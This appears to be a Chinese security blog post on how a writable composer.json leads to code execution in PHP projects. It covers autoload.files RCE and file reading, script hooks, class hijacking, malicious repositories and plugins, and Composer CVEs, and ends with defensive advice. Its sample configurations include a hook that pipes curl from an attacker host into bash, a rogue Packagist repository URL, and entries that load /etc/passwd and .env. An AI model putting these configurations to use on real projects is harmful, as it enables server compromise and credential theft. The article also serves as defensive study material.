composer.json 可写场景下的利用手段

一、攻击的本质:从配置文件到代码执行

在 PHP 项目中,composer.json 不仅是依赖声明文件,更是 Composer 自动加载机制的核心配置来源。当攻击者获得该文件的写入权限时,实际上获得了在目标服务器上执行任意 PHP 代码的多种路径。

vendor/autoload.php 本身是一个安全的引导文件,每次 composer dump-autoload 都会被重写,本身不包含危险逻辑。但攻击者可以利用 Composer 的各种配置机制,让这个加载过程变为后门入口。


二、autoload.files:最直接的预加载攻击

2.1 攻击原理

autoload.files 是 Composer 中唯一的"预加载"机制。被列入该数组的文件会在每次 require vendor/autoload.php 时无条件执行,不检查类是否存在,不走 PSR-4 规则,纯 PHP 文件直读。

攻击者在 composer.json 中写入:

json 复制代码
{
    "autoload": {
        "files": ["themes/demo/assets/js/shell.js"]
    }
}

随后运行 composer dump-autoload 重新生成加载器。vendor/autoload.php 将包含:

php 复制代码
require __DIR__ . '/..' . '/themes/demo/assets/js/shell.js';

2.2 现实案例:Laravel-Lang 供应链攻击

2026 年 5 月,攻击者通过 GitHub 标签重写攻击,篡改了 Laravel-Lang 生态中四个 Composer 包的 233 个版本,注入恶意 src/helpers.php 文件。该恶意文件正是通过 autoload.files 指令实现自动加载,在 Laravel 应用的每个 HTTP 请求中执行。

该恶意文件包含以下特征:

  • 伪装成合法的 localization 函数 ,包含 laravel_lang_locale()laravel_lang_fallback() 作为掩护
  • 通过字节数组拼接 C2 地址 flipboxstudio[.]info,规避明文扫描
  • 使用主机指纹生成标记文件 (基于安装目录、php_uname('n')、文件 inode 的 MD5),实现单次执行
  • 后台下载并执行 stage-two payload ,通过 exec("php ... > /dev/null 2>&1 &") 在 Linux/macOS 上静默运行
  • 使用 @ 错误抑制符,确保无警告写入 PHP-FPM 或 error_log

最终 payload 是包含 15 个采集模块的 PHP 凭证窃取器,目标包括云访问密钥、Kubernetes 配置、SSH 私钥、Git 凭证、浏览器密码和加密钱包。

2.3 LFI 组合拳

除直接写入恶意 PHP 代码外,autoload.files 还可用于读取敏感文件:

json 复制代码
{
    "autoload": {
        "files": ["/etc/passwd", "/var/www/.env", "../../../.env"]
    }
}

通过 require_once 加载已有敏感文件,读取环境变量、APP_KEY、数据库凭证等。常见可读目标包括 .env.docker/config.json.npm/package-lock.json 等。


三、脚本 Hooks:Composer 生命周期中的执行点

3.1 可用 Hooks

Composer 在多个生命周期阶段支持执行自定义命令:

json 复制代码
{
    "scripts": {
        "pre-autoload-dump": ["php shell.php"],
        "post-autoload-dump": ["system('id')"],
        "pre-update-cmd": ["curl http://attacker/shell.sh | bash"],
        "post-update-cmd": ["python3 -c 'import os;os.system(\"id\")'"]
    }
}

触发时机包括任何 composer updatecomposer dump-autoload 操作。

3.2 注意事项

某些 CMS(如 October CMS 4.3.5)的 JSON 验证策略会过滤 scripts 段,导致自定义脚本不生效。此外,config.allow-plugins 策略也会影响脚本执行。


四、命名空间劫持:类加载层面的潜伏攻击

4.1 classmap 劫持

json 复制代码
{
    "autoload": {
        "classmap": ["themes/demo/assets/js/"]
    }
}

在可控目录下放置同名类文件(如 Illuminate\\Http\\Request.php),若该类未被其他 autoload 注册且被框架实际引用,则可能覆盖框架类。

4.2 PSR-4 空命名空间劫持

json 复制代码
{
    "autoload": {
        "psr-4": {
            "": "themes/demo/assets/js/"
        }
    }
}

空命名空间映射到可控目录后,任何未在其他 autoload 中注册但被 require 的类都会从该目录加载。难点在于找到具体可劫持的类。


五、远程包劫持:供应链层面的纵深攻击

5.1 恶意包安装

json 复制代码
{
    "require": {
        "attacker/malicious": "1.0.0"
    },
    "repositories": [
        {
            "type": "composer",
            "url": "http://attacker.com/packagist/"
        }
    ]
}

通过自定义 repositories 指向攻击者控制的 Packagist 镜像,诱导 Composer 安装恶意包。

5.2 Composer Plugin 执行代码

恶意包可通过 composer-plugin 类型在安装过程中执行代码:

json 复制代码
{
    "name": "attacker/malicious",
    "version": "1.0.0",
    "type": "composer-plugin",
    "autoload": {"classmap": ["src/"]}
}

src/Plugin.php 中的 activate() 方法可在 composer install 时被触发。2025 年的攻击趋势中,插件 hook 利用已成为 Composer 生态中最常见的凭据窃取向量。

5.3 依赖混淆攻击

Composer 默认检查 Packagist.org 的行为使攻击者能够在公共仓库上发布与私有包同名的恶意包。当私有包名称未被认领时,Composer 会从公共源拉取攻击者发布的版本并执行其 autoload 代码。

5.4 前提条件

  • 靶机需有外网访问能力
  • 需要搭建伪造 Packagist 镜像
  • config.allow-plugins 需允许插件安装

六、Composer 自身漏洞:配置文件即攻击面

Composer 自身历史漏洞表明,即使不借助上述机制,恶意 composer.json 也可直接导致代码执行:

CVE 描述 影响版本
CVE-2021-41116 config.platform 值注入 PHP 代码到 platform_check.php,自动执行 < 1.10.26 / < 2.1.9
CVE-2023-43655 web 可访问的 composer.pharregister_argc_argv 启用时可 RCE < 2.6.4 / < 2.2.22 / < 1.10.27
CVE-2026-40176 Perforce VCS 仓库参数命令注入 1.0-2.2.26 / 2.3-2.9.5

其中 CVE-2026-40176 尤为值得关注:攻击者只需在恶意 composer.json 中声明一个 Perforce VCS 仓库,在 portuserclient 参数中注入 shell 命令,即使 Perforce 未安装也能执行。VCS 仓库仅从根 composer.json 加载,这意味着该漏洞无法通过依赖包的 composer.json 利用,但若攻击者可直接修改项目根目录的配置文件,则风险极高。


七、config 段:权限放行与持久化辅助

json 复制代码
{
    "config": {
        "allow-plugins": {"*": true},
        "process-timeout": 3600
    }
}
  • allow-plugins 设置为 true 会关闭全部防护,允许任意 Composer 插件在 install/update 时执行代码。生产环境应使用精确的 vendor/name 白名单。
  • process-timeout 可防止命令执行超时被杀死。

八、攻击路径对照总览

手段 外网需求 可行性 复杂度 触发时机
autoload.files → RCE 高 ✓ ★☆☆ 任意请求(require autoload.php)
autoload.files → LFI 读文件 高 ✓ ★☆☆ 任意请求
autoload.classmap 类劫持 ★★★ 特定类被引用时
autoload.psr-4 命名空间劫持 ★★★ 特定类被引用时
Composer scripts hooks 视配置而定 ★☆☆ composer 命令执行时
远程恶意包劫持 ★★★★ composer install/update
CVE-2021-41116(platform 注入) ★★☆ 任意请求
CVE-2026-40176(Perforce 注入) ★★☆ composer 命令执行时

九、防御建议

  1. 严格审计 autoload.files :检查所有 composer.json 中的 files 字段,确保路径指向无副作用的函数/常量定义文件,禁止引入包含 evalsystem$_GET/$_POST 处理的脚本。

  2. 生产环境禁用插件 :使用 composer install --no-plugins --no-dev --prefer-dist

  3. 插件白名单 :不允许 "allow-plugins": true,应精确到 vendor/name

  4. 验证 vendor 完整性 :CI 流水线中运行 composer install --dry-run --verbose,比对 composer.lock 记录的哈希与实际文件。

  5. 更新 Composer 版本:确保使用最新稳定版本,修复已知 CVE(CVE-2021-41116、CVE-2023-43655、CVE-2026-40176 等)。

  6. 不将 composer.phar 暴露到 Web :避免 register_argc_argv 开启时的 RCE 风险。

  7. 审计 .env 等敏感文件权限:防止 LFI 组合读取。

  8. 监控出站流量 :检查对可疑域名的连接(如 flipboxstudio[.]info)。


十、总结

composer.json 可写场景下,攻击面远比表面看起来广阔。从最直接的 autoload.files 预加载 RCE,到复杂的远程包劫持和 Composer 自身漏洞利用,攻击者拥有多层路径实现代码执行。对于实际渗透测试场景,autoload.files 向可写目录注入恶意 PHP 文件是最简单高效的路径------无需外网、无需依赖其他条件、任意请求触发。而对于防御方,关键不在于保护 vendor/autoload.php 本身,而在于对 composer.json 配置变更的严格审计和 Composer 运行环境的权限控制。

相关推荐
studyForMokey1 小时前
【Android 内存管理】JVM 内存模型与 GC 原理
android·jvm
Ming_studying2 小时前
HTML + CSS + JavaScript实现可视化JSON工具:格式化、折叠、搜索与错误定位
javascript·css·html·json·数据可视化·web工具
夜雪一千13 小时前
MySQL 全局锁是什么?原理、风险、备份踩坑完整实战
android·mysql·adb
CappuccinoRose16 小时前
JSON 数据交互规范
json·交互
又见情义19 小时前
RK3568 Android 13 驱动适配实战:从零开始让SDK在自己的板子上跑起来
android·arm开发·驱动开发
霸道流氓气质20 小时前
MySQL 大表 DDL 变更 — 原理、方案与实践
android·数据库·mysql
明雨-开发21 小时前
Android打包时候Execution failed for task ‘:launcher:lintVitalAnalyzeRelease‘.
android
游戏开发爱好者821 小时前
开心上架是什么,一站式 Apple 开发者工作台总览
android·小程序·https·uni-app·iphone·webview
Android-Flutter21 小时前
android kotlin launch 源码分析
android·kotlin